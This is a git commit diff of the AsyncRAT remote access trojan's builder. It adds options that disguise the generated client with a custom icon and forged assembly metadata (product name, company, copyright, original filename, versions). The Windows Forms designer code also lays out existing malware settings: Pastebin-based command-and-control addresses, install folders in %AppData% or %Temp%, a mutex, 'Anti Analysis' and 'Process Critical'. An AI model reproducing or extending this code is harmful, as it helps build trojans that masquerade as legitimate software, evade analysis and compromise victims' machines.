Added icon changer and assembly changer
This commit is contained in:
parent
a0fee36adc
commit
9d8fa22be6
@ -28,6 +28,30 @@
|
||||
<setting name="IP" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="ProductName" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtDescription" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtCompany" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtCopyright" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtTrademarks" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtOriginalFilename" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtProductVersion" serializeAs="String">
|
||||
<value>0.0.0.0</value>
|
||||
</setting>
|
||||
<setting name="txtFileVersion" serializeAs="String">
|
||||
<value>0.0.0.0</value>
|
||||
</setting>
|
||||
</AsyncRAT_Sharp.Properties.Settings>
|
||||
</userSettings>
|
||||
<appSettings>
|
||||
|
@ -67,6 +67,9 @@
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="Vestris.ResourceLib, Version=1.6.422.0, Culture=neutral, PublicKeyToken=ec632d8ba5e5750d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Vestris.ResourceLib.1.6.422\lib\Vestris.ResourceLib.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Cryptography\Aes256.cs" />
|
||||
@ -170,6 +173,7 @@
|
||||
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
||||
<Compile Include="Helper\AsyncTask.cs" />
|
||||
<Compile Include="Helper\BuildRenamer.cs" />
|
||||
<Compile Include="Helper\IconInjector.cs" />
|
||||
<Compile Include="Helper\ListViewColumnSorter.cs" />
|
||||
<Compile Include="Helper\Methods.cs" />
|
||||
<Compile Include="MessagePack\BytesTools.cs" />
|
||||
|
917
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
generated
917
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
generated
@ -30,22 +30,27 @@ namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormBuilder));
|
||||
this.button1 = new System.Windows.Forms.Button();
|
||||
this.groupBox1 = new System.Windows.Forms.GroupBox();
|
||||
this.btnRemoveIP = new System.Windows.Forms.Button();
|
||||
this.btnAddIP = new System.Windows.Forms.Button();
|
||||
this.listBoxIP = new System.Windows.Forms.ListBox();
|
||||
this.textIP = new System.Windows.Forms.TextBox();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.btnRemovePort = new System.Windows.Forms.Button();
|
||||
this.btnAddPort = new System.Windows.Forms.Button();
|
||||
this.listBoxPort = new System.Windows.Forms.ListBox();
|
||||
this.chkPastebin = new System.Windows.Forms.CheckBox();
|
||||
this.txtPastebin = new System.Windows.Forms.TextBox();
|
||||
this.label6 = new System.Windows.Forms.Label();
|
||||
this.textPort = new System.Windows.Forms.TextBox();
|
||||
this.label2 = new System.Windows.Forms.Label();
|
||||
this.groupBox2 = new System.Windows.Forms.GroupBox();
|
||||
this.comboBoxFolder = new System.Windows.Forms.ComboBox();
|
||||
this.checkBox1 = new System.Windows.Forms.CheckBox();
|
||||
this.textFilename = new System.Windows.Forms.TextBox();
|
||||
this.label3 = new System.Windows.Forms.Label();
|
||||
this.label4 = new System.Windows.Forms.Label();
|
||||
this.groupBox3 = new System.Windows.Forms.GroupBox();
|
||||
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
||||
this.chkBdos = new System.Windows.Forms.CheckBox();
|
||||
this.txtMutex = new System.Windows.Forms.TextBox();
|
||||
this.label5 = new System.Windows.Forms.Label();
|
||||
this.chkAnti = new System.Windows.Forms.CheckBox();
|
||||
this.toolTip1 = new System.Windows.Forms.ToolTip(this.components);
|
||||
@ -53,15 +58,37 @@ namespace AsyncRAT_Sharp.Forms
|
||||
this.tabPage1 = new System.Windows.Forms.TabPage();
|
||||
this.tabPage2 = new System.Windows.Forms.TabPage();
|
||||
this.tabPage3 = new System.Windows.Forms.TabPage();
|
||||
this.textPort = new System.Windows.Forms.TextBox();
|
||||
this.listBoxPort = new System.Windows.Forms.ListBox();
|
||||
this.btnAddPort = new System.Windows.Forms.Button();
|
||||
this.btnRemovePort = new System.Windows.Forms.Button();
|
||||
this.btnRemoveIP = new System.Windows.Forms.Button();
|
||||
this.btnAddIP = new System.Windows.Forms.Button();
|
||||
this.listBoxIP = new System.Windows.Forms.ListBox();
|
||||
this.textIP = new System.Windows.Forms.TextBox();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.tabPage4 = new System.Windows.Forms.TabPage();
|
||||
this.groupBox4 = new System.Windows.Forms.GroupBox();
|
||||
this.btnAssembly = new System.Windows.Forms.CheckBox();
|
||||
this.label14 = new System.Windows.Forms.Label();
|
||||
this.label13 = new System.Windows.Forms.Label();
|
||||
this.label12 = new System.Windows.Forms.Label();
|
||||
this.label11 = new System.Windows.Forms.Label();
|
||||
this.label10 = new System.Windows.Forms.Label();
|
||||
this.label9 = new System.Windows.Forms.Label();
|
||||
this.label7 = new System.Windows.Forms.Label();
|
||||
this.label8 = new System.Windows.Forms.Label();
|
||||
this.tabPage5 = new System.Windows.Forms.TabPage();
|
||||
this.groupBox5 = new System.Windows.Forms.GroupBox();
|
||||
this.chkIcon = new System.Windows.Forms.CheckBox();
|
||||
this.label15 = new System.Windows.Forms.Label();
|
||||
this.txtIcon = new System.Windows.Forms.TextBox();
|
||||
this.btnIcon = new System.Windows.Forms.Button();
|
||||
this.picIcon = new System.Windows.Forms.PictureBox();
|
||||
this.tabPage6 = new System.Windows.Forms.TabPage();
|
||||
this.btnBuild = new System.Windows.Forms.Button();
|
||||
this.txtPastebin = new System.Windows.Forms.TextBox();
|
||||
this.textFilename = new System.Windows.Forms.TextBox();
|
||||
this.txtMutex = new System.Windows.Forms.TextBox();
|
||||
this.txtFileVersion = new System.Windows.Forms.TextBox();
|
||||
this.txtProductVersion = new System.Windows.Forms.TextBox();
|
||||
this.txtOriginalFilename = new System.Windows.Forms.TextBox();
|
||||
this.txtTrademarks = new System.Windows.Forms.TextBox();
|
||||
this.txtCopyright = new System.Windows.Forms.TextBox();
|
||||
this.txtCompany = new System.Windows.Forms.TextBox();
|
||||
this.txtDescription = new System.Windows.Forms.TextBox();
|
||||
this.txtProduct = new System.Windows.Forms.TextBox();
|
||||
this.groupBox1.SuspendLayout();
|
||||
this.groupBox2.SuspendLayout();
|
||||
this.groupBox3.SuspendLayout();
|
||||
@ -70,18 +97,14 @@ namespace AsyncRAT_Sharp.Forms
|
||||
this.tabPage1.SuspendLayout();
|
||||
this.tabPage2.SuspendLayout();
|
||||
this.tabPage3.SuspendLayout();
|
||||
this.tabPage4.SuspendLayout();
|
||||
this.groupBox4.SuspendLayout();
|
||||
this.tabPage5.SuspendLayout();
|
||||
this.groupBox5.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit();
|
||||
this.tabPage6.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// button1
|
||||
//
|
||||
this.button1.Location = new System.Drawing.Point(3, 313);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new System.Drawing.Size(539, 49);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = "Build";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new System.EventHandler(this.button1_Click);
|
||||
//
|
||||
// groupBox1
|
||||
//
|
||||
this.groupBox1.Controls.Add(this.btnRemoveIP);
|
||||
@ -99,263 +122,11 @@ namespace AsyncRAT_Sharp.Forms
|
||||
this.groupBox1.Controls.Add(this.label2);
|
||||
this.groupBox1.Location = new System.Drawing.Point(6, 19);
|
||||
this.groupBox1.Name = "groupBox1";
|
||||
this.groupBox1.Size = new System.Drawing.Size(539, 363);
|
||||
this.groupBox1.Size = new System.Drawing.Size(563, 417);
|
||||
this.groupBox1.TabIndex = 1;
|
||||
this.groupBox1.TabStop = false;
|
||||
this.groupBox1.Text = "Connection";
|
||||
//
|
||||
// chkPastebin
|
||||
//
|
||||
this.chkPastebin.AutoSize = true;
|
||||
this.chkPastebin.Location = new System.Drawing.Point(264, 261);
|
||||
this.chkPastebin.Name = "chkPastebin";
|
||||
this.chkPastebin.Size = new System.Drawing.Size(130, 24);
|
||||
this.chkPastebin.TabIndex = 9;
|
||||
this.chkPastebin.Text = "Use Pastebin";
|
||||
this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606");
|
||||
this.chkPastebin.UseVisualStyleBackColor = true;
|
||||
this.chkPastebin.CheckedChanged += new System.EventHandler(this.CheckBox2_CheckedChanged);
|
||||
//
|
||||
// txtPastebin
|
||||
//
|
||||
this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtPastebin.Enabled = false;
|
||||
this.txtPastebin.Location = new System.Drawing.Point(106, 296);
|
||||
this.txtPastebin.Name = "txtPastebin";
|
||||
this.txtPastebin.Size = new System.Drawing.Size(271, 26);
|
||||
this.txtPastebin.TabIndex = 8;
|
||||
this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin;
|
||||
this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606");
|
||||
//
|
||||
// label6
|
||||
//
|
||||
this.label6.AutoSize = true;
|
||||
this.label6.Location = new System.Drawing.Point(14, 299);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new System.Drawing.Size(71, 20);
|
||||
this.label6.TabIndex = 7;
|
||||
this.label6.Text = "Pastebin";
|
||||
//
|
||||
// label2
|
||||
//
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new System.Drawing.Point(308, 37);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new System.Drawing.Size(38, 20);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Port";
|
||||
//
|
||||
// groupBox2
|
||||
//
|
||||
this.groupBox2.Controls.Add(this.comboBoxFolder);
|
||||
this.groupBox2.Controls.Add(this.checkBox1);
|
||||
this.groupBox2.Controls.Add(this.textFilename);
|
||||
this.groupBox2.Controls.Add(this.label3);
|
||||
this.groupBox2.Controls.Add(this.label4);
|
||||
this.groupBox2.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox2.Name = "groupBox2";
|
||||
this.groupBox2.Size = new System.Drawing.Size(536, 365);
|
||||
this.groupBox2.TabIndex = 7;
|
||||
this.groupBox2.TabStop = false;
|
||||
this.groupBox2.Text = "Install";
|
||||
//
|
||||
// comboBoxFolder
|
||||
//
|
||||
this.comboBoxFolder.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
|
||||
this.comboBoxFolder.Enabled = false;
|
||||
this.comboBoxFolder.FormattingEnabled = true;
|
||||
this.comboBoxFolder.Items.AddRange(new object[] {
|
||||
"%AppData%",
|
||||
"%Temp%"});
|
||||
this.comboBoxFolder.Location = new System.Drawing.Point(106, 149);
|
||||
this.comboBoxFolder.Name = "comboBoxFolder";
|
||||
this.comboBoxFolder.Size = new System.Drawing.Size(271, 28);
|
||||
this.comboBoxFolder.TabIndex = 8;
|
||||
//
|
||||
// checkBox1
|
||||
//
|
||||
this.checkBox1.AutoSize = true;
|
||||
this.checkBox1.Location = new System.Drawing.Point(18, 40);
|
||||
this.checkBox1.Name = "checkBox1";
|
||||
this.checkBox1.Size = new System.Drawing.Size(67, 24);
|
||||
this.checkBox1.TabIndex = 7;
|
||||
this.checkBox1.Text = "OFF";
|
||||
this.checkBox1.UseVisualStyleBackColor = true;
|
||||
this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged);
|
||||
//
|
||||
// textFilename
|
||||
//
|
||||
this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.textFilename.Enabled = false;
|
||||
this.textFilename.Location = new System.Drawing.Point(106, 92);
|
||||
this.textFilename.Name = "textFilename";
|
||||
this.textFilename.Size = new System.Drawing.Size(271, 26);
|
||||
this.textFilename.TabIndex = 5;
|
||||
this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename;
|
||||
//
|
||||
// label3
|
||||
//
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Location = new System.Drawing.Point(14, 152);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new System.Drawing.Size(54, 20);
|
||||
this.label3.TabIndex = 3;
|
||||
this.label3.Text = "Folder";
|
||||
//
|
||||
// label4
|
||||
//
|
||||
this.label4.AutoSize = true;
|
||||
this.label4.Location = new System.Drawing.Point(14, 95);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new System.Drawing.Size(74, 20);
|
||||
this.label4.TabIndex = 4;
|
||||
this.label4.Text = "Filename";
|
||||
//
|
||||
// groupBox3
|
||||
//
|
||||
this.groupBox3.Controls.Add(this.pictureBox1);
|
||||
this.groupBox3.Controls.Add(this.chkBdos);
|
||||
this.groupBox3.Controls.Add(this.txtMutex);
|
||||
this.groupBox3.Controls.Add(this.label5);
|
||||
this.groupBox3.Controls.Add(this.chkAnti);
|
||||
this.groupBox3.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox3.Name = "groupBox3";
|
||||
this.groupBox3.Size = new System.Drawing.Size(536, 279);
|
||||
this.groupBox3.TabIndex = 9;
|
||||
this.groupBox3.TabStop = false;
|
||||
this.groupBox3.Text = "MISC";
|
||||
//
|
||||
// pictureBox1
|
||||
//
|
||||
this.pictureBox1.Image = global::AsyncRAT_Sharp.Properties.Resources.uac;
|
||||
this.pictureBox1.Location = new System.Drawing.Point(181, 74);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new System.Drawing.Size(32, 32);
|
||||
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
|
||||
this.pictureBox1.TabIndex = 13;
|
||||
this.pictureBox1.TabStop = false;
|
||||
//
|
||||
// chkBdos
|
||||
//
|
||||
this.chkBdos.AutoSize = true;
|
||||
this.chkBdos.Location = new System.Drawing.Point(21, 82);
|
||||
this.chkBdos.Name = "chkBdos";
|
||||
this.chkBdos.Size = new System.Drawing.Size(143, 24);
|
||||
this.chkBdos.TabIndex = 12;
|
||||
this.chkBdos.Text = "Process Critical";
|
||||
this.chkBdos.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// txtMutex
|
||||
//
|
||||
this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtMutex.Location = new System.Drawing.Point(106, 165);
|
||||
this.txtMutex.Name = "txtMutex";
|
||||
this.txtMutex.Size = new System.Drawing.Size(271, 26);
|
||||
this.txtMutex.TabIndex = 11;
|
||||
this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex;
|
||||
//
|
||||
// label5
|
||||
//
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Location = new System.Drawing.Point(14, 169);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new System.Drawing.Size(52, 20);
|
||||
this.label5.TabIndex = 10;
|
||||
this.label5.Text = "Mutex";
|
||||
//
|
||||
// chkAnti
|
||||
//
|
||||
this.chkAnti.AutoSize = true;
|
||||
this.chkAnti.Location = new System.Drawing.Point(21, 40);
|
||||
this.chkAnti.Name = "chkAnti";
|
||||
this.chkAnti.Size = new System.Drawing.Size(125, 24);
|
||||
this.chkAnti.TabIndex = 9;
|
||||
this.chkAnti.Text = "Anti Analysis";
|
||||
this.chkAnti.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// tabControl1
|
||||
//
|
||||
this.tabControl1.Controls.Add(this.tabPage1);
|
||||
this.tabControl1.Controls.Add(this.tabPage2);
|
||||
this.tabControl1.Controls.Add(this.tabPage3);
|
||||
this.tabControl1.Location = new System.Drawing.Point(12, 12);
|
||||
this.tabControl1.Name = "tabControl1";
|
||||
this.tabControl1.SelectedIndex = 0;
|
||||
this.tabControl1.Size = new System.Drawing.Size(556, 421);
|
||||
this.tabControl1.TabIndex = 10;
|
||||
//
|
||||
// tabPage1
|
||||
//
|
||||
this.tabPage1.Controls.Add(this.groupBox1);
|
||||
this.tabPage1.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage1.Name = "tabPage1";
|
||||
this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage1.Size = new System.Drawing.Size(548, 388);
|
||||
this.tabPage1.TabIndex = 0;
|
||||
this.tabPage1.Text = "Connection";
|
||||
this.tabPage1.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// tabPage2
|
||||
//
|
||||
this.tabPage2.Controls.Add(this.groupBox2);
|
||||
this.tabPage2.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage2.Name = "tabPage2";
|
||||
this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage2.Size = new System.Drawing.Size(548, 388);
|
||||
this.tabPage2.TabIndex = 1;
|
||||
this.tabPage2.Text = "Install";
|
||||
this.tabPage2.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// tabPage3
|
||||
//
|
||||
this.tabPage3.Controls.Add(this.groupBox3);
|
||||
this.tabPage3.Controls.Add(this.button1);
|
||||
this.tabPage3.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage3.Name = "tabPage3";
|
||||
this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage3.Size = new System.Drawing.Size(548, 388);
|
||||
this.tabPage3.TabIndex = 2;
|
||||
this.tabPage3.Text = "Misc";
|
||||
this.tabPage3.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// textPort
|
||||
//
|
||||
this.textPort.Location = new System.Drawing.Point(362, 34);
|
||||
this.textPort.Name = "textPort";
|
||||
this.textPort.Size = new System.Drawing.Size(161, 26);
|
||||
this.textPort.TabIndex = 6;
|
||||
//
|
||||
// listBoxPort
|
||||
//
|
||||
this.listBoxPort.FormattingEnabled = true;
|
||||
this.listBoxPort.ItemHeight = 20;
|
||||
this.listBoxPort.Location = new System.Drawing.Point(362, 66);
|
||||
this.listBoxPort.Name = "listBoxPort";
|
||||
this.listBoxPort.Size = new System.Drawing.Size(161, 84);
|
||||
this.listBoxPort.TabIndex = 10;
|
||||
//
|
||||
// btnAddPort
|
||||
//
|
||||
this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnAddPort.Location = new System.Drawing.Point(362, 156);
|
||||
this.btnAddPort.Name = "btnAddPort";
|
||||
this.btnAddPort.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnAddPort.TabIndex = 12;
|
||||
this.btnAddPort.Text = "+";
|
||||
this.btnAddPort.UseVisualStyleBackColor = true;
|
||||
this.btnAddPort.Click += new System.EventHandler(this.BtnAddPort_Click);
|
||||
//
|
||||
// btnRemovePort
|
||||
//
|
||||
this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnRemovePort.Location = new System.Drawing.Point(480, 156);
|
||||
this.btnRemovePort.Name = "btnRemovePort";
|
||||
this.btnRemovePort.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnRemovePort.TabIndex = 13;
|
||||
this.btnRemovePort.Text = "-";
|
||||
this.btnRemovePort.UseVisualStyleBackColor = true;
|
||||
this.btnRemovePort.Click += new System.EventHandler(this.BtnRemovePort_Click);
|
||||
//
|
||||
// btnRemoveIP
|
||||
//
|
||||
this.btnRemoveIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
@ -403,11 +174,565 @@ namespace AsyncRAT_Sharp.Forms
|
||||
this.label1.TabIndex = 14;
|
||||
this.label1.Text = "DNS";
|
||||
//
|
||||
// btnRemovePort
|
||||
//
|
||||
this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnRemovePort.Location = new System.Drawing.Point(480, 156);
|
||||
this.btnRemovePort.Name = "btnRemovePort";
|
||||
this.btnRemovePort.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnRemovePort.TabIndex = 13;
|
||||
this.btnRemovePort.Text = "-";
|
||||
this.btnRemovePort.UseVisualStyleBackColor = true;
|
||||
this.btnRemovePort.Click += new System.EventHandler(this.BtnRemovePort_Click);
|
||||
//
|
||||
// btnAddPort
|
||||
//
|
||||
this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.btnAddPort.Location = new System.Drawing.Point(362, 156);
|
||||
this.btnAddPort.Name = "btnAddPort";
|
||||
this.btnAddPort.Size = new System.Drawing.Size(43, 26);
|
||||
this.btnAddPort.TabIndex = 12;
|
||||
this.btnAddPort.Text = "+";
|
||||
this.btnAddPort.UseVisualStyleBackColor = true;
|
||||
this.btnAddPort.Click += new System.EventHandler(this.BtnAddPort_Click);
|
||||
//
|
||||
// listBoxPort
|
||||
//
|
||||
this.listBoxPort.FormattingEnabled = true;
|
||||
this.listBoxPort.ItemHeight = 20;
|
||||
this.listBoxPort.Location = new System.Drawing.Point(362, 66);
|
||||
this.listBoxPort.Name = "listBoxPort";
|
||||
this.listBoxPort.Size = new System.Drawing.Size(161, 84);
|
||||
this.listBoxPort.TabIndex = 10;
|
||||
//
|
||||
// chkPastebin
|
||||
//
|
||||
this.chkPastebin.AutoSize = true;
|
||||
this.chkPastebin.Location = new System.Drawing.Point(22, 307);
|
||||
this.chkPastebin.Name = "chkPastebin";
|
||||
this.chkPastebin.Size = new System.Drawing.Size(130, 24);
|
||||
this.chkPastebin.TabIndex = 9;
|
||||
this.chkPastebin.Text = "Use Pastebin";
|
||||
this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606");
|
||||
this.chkPastebin.UseVisualStyleBackColor = true;
|
||||
this.chkPastebin.CheckedChanged += new System.EventHandler(this.CheckBox2_CheckedChanged);
|
||||
//
|
||||
// label6
|
||||
//
|
||||
this.label6.AutoSize = true;
|
||||
this.label6.Location = new System.Drawing.Point(14, 355);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new System.Drawing.Size(71, 20);
|
||||
this.label6.TabIndex = 7;
|
||||
this.label6.Text = "Pastebin";
|
||||
//
|
||||
// textPort
|
||||
//
|
||||
this.textPort.Location = new System.Drawing.Point(362, 34);
|
||||
this.textPort.Name = "textPort";
|
||||
this.textPort.Size = new System.Drawing.Size(161, 26);
|
||||
this.textPort.TabIndex = 6;
|
||||
//
|
||||
// label2
|
||||
//
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new System.Drawing.Point(308, 37);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new System.Drawing.Size(38, 20);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Port";
|
||||
//
|
||||
// groupBox2
|
||||
//
|
||||
this.groupBox2.Controls.Add(this.comboBoxFolder);
|
||||
this.groupBox2.Controls.Add(this.checkBox1);
|
||||
this.groupBox2.Controls.Add(this.textFilename);
|
||||
this.groupBox2.Controls.Add(this.label3);
|
||||
this.groupBox2.Controls.Add(this.label4);
|
||||
this.groupBox2.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox2.Name = "groupBox2";
|
||||
this.groupBox2.Size = new System.Drawing.Size(563, 417);
|
||||
this.groupBox2.TabIndex = 7;
|
||||
this.groupBox2.TabStop = false;
|
||||
this.groupBox2.Text = "Install";
|
||||
//
|
||||
// comboBoxFolder
|
||||
//
|
||||
this.comboBoxFolder.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
|
||||
this.comboBoxFolder.Enabled = false;
|
||||
this.comboBoxFolder.FormattingEnabled = true;
|
||||
this.comboBoxFolder.Items.AddRange(new object[] {
|
||||
"%AppData%",
|
||||
"%Temp%"});
|
||||
this.comboBoxFolder.Location = new System.Drawing.Point(103, 149);
|
||||
this.comboBoxFolder.Name = "comboBoxFolder";
|
||||
this.comboBoxFolder.Size = new System.Drawing.Size(271, 28);
|
||||
this.comboBoxFolder.TabIndex = 8;
|
||||
//
|
||||
// checkBox1
|
||||
//
|
||||
this.checkBox1.AutoSize = true;
|
||||
this.checkBox1.Location = new System.Drawing.Point(15, 29);
|
||||
this.checkBox1.Name = "checkBox1";
|
||||
this.checkBox1.Size = new System.Drawing.Size(67, 24);
|
||||
this.checkBox1.TabIndex = 7;
|
||||
this.checkBox1.Text = "OFF";
|
||||
this.checkBox1.UseVisualStyleBackColor = true;
|
||||
this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged);
|
||||
//
|
||||
// label3
|
||||
//
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Location = new System.Drawing.Point(11, 152);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new System.Drawing.Size(54, 20);
|
||||
this.label3.TabIndex = 3;
|
||||
this.label3.Text = "Folder";
|
||||
//
|
||||
// label4
|
||||
//
|
||||
this.label4.AutoSize = true;
|
||||
this.label4.Location = new System.Drawing.Point(11, 95);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new System.Drawing.Size(74, 20);
|
||||
this.label4.TabIndex = 4;
|
||||
this.label4.Text = "Filename";
|
||||
//
|
||||
// groupBox3
|
||||
//
|
||||
this.groupBox3.Controls.Add(this.pictureBox1);
|
||||
this.groupBox3.Controls.Add(this.chkBdos);
|
||||
this.groupBox3.Controls.Add(this.txtMutex);
|
||||
this.groupBox3.Controls.Add(this.label5);
|
||||
this.groupBox3.Controls.Add(this.chkAnti);
|
||||
this.groupBox3.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox3.Name = "groupBox3";
|
||||
this.groupBox3.Size = new System.Drawing.Size(563, 417);
|
||||
this.groupBox3.TabIndex = 9;
|
||||
this.groupBox3.TabStop = false;
|
||||
this.groupBox3.Text = "MISC";
|
||||
//
|
||||
// pictureBox1
|
||||
//
|
||||
this.pictureBox1.Image = global::AsyncRAT_Sharp.Properties.Resources.uac;
|
||||
this.pictureBox1.Location = new System.Drawing.Point(175, 72);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new System.Drawing.Size(32, 32);
|
||||
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
|
||||
this.pictureBox1.TabIndex = 13;
|
||||
this.pictureBox1.TabStop = false;
|
||||
//
|
||||
// chkBdos
|
||||
//
|
||||
this.chkBdos.AutoSize = true;
|
||||
this.chkBdos.Location = new System.Drawing.Point(15, 80);
|
||||
this.chkBdos.Name = "chkBdos";
|
||||
this.chkBdos.Size = new System.Drawing.Size(143, 24);
|
||||
this.chkBdos.TabIndex = 12;
|
||||
this.chkBdos.Text = "Process Critical";
|
||||
this.chkBdos.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// label5
|
||||
//
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Location = new System.Drawing.Point(14, 169);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new System.Drawing.Size(52, 20);
|
||||
this.label5.TabIndex = 10;
|
||||
this.label5.Text = "Mutex";
|
||||
//
|
||||
// chkAnti
|
||||
//
|
||||
this.chkAnti.AutoSize = true;
|
||||
this.chkAnti.Location = new System.Drawing.Point(15, 29);
|
||||
this.chkAnti.Name = "chkAnti";
|
||||
this.chkAnti.Size = new System.Drawing.Size(125, 24);
|
||||
this.chkAnti.TabIndex = 9;
|
||||
this.chkAnti.Text = "Anti Analysis";
|
||||
this.chkAnti.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// tabControl1
|
||||
//
|
||||
this.tabControl1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
|
||||
| System.Windows.Forms.AnchorStyles.Left)
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.tabControl1.Controls.Add(this.tabPage1);
|
||||
this.tabControl1.Controls.Add(this.tabPage2);
|
||||
this.tabControl1.Controls.Add(this.tabPage3);
|
||||
this.tabControl1.Controls.Add(this.tabPage4);
|
||||
this.tabControl1.Controls.Add(this.tabPage5);
|
||||
this.tabControl1.Controls.Add(this.tabPage6);
|
||||
this.tabControl1.Location = new System.Drawing.Point(12, 12);
|
||||
this.tabControl1.Name = "tabControl1";
|
||||
this.tabControl1.SelectedIndex = 0;
|
||||
this.tabControl1.Size = new System.Drawing.Size(583, 473);
|
||||
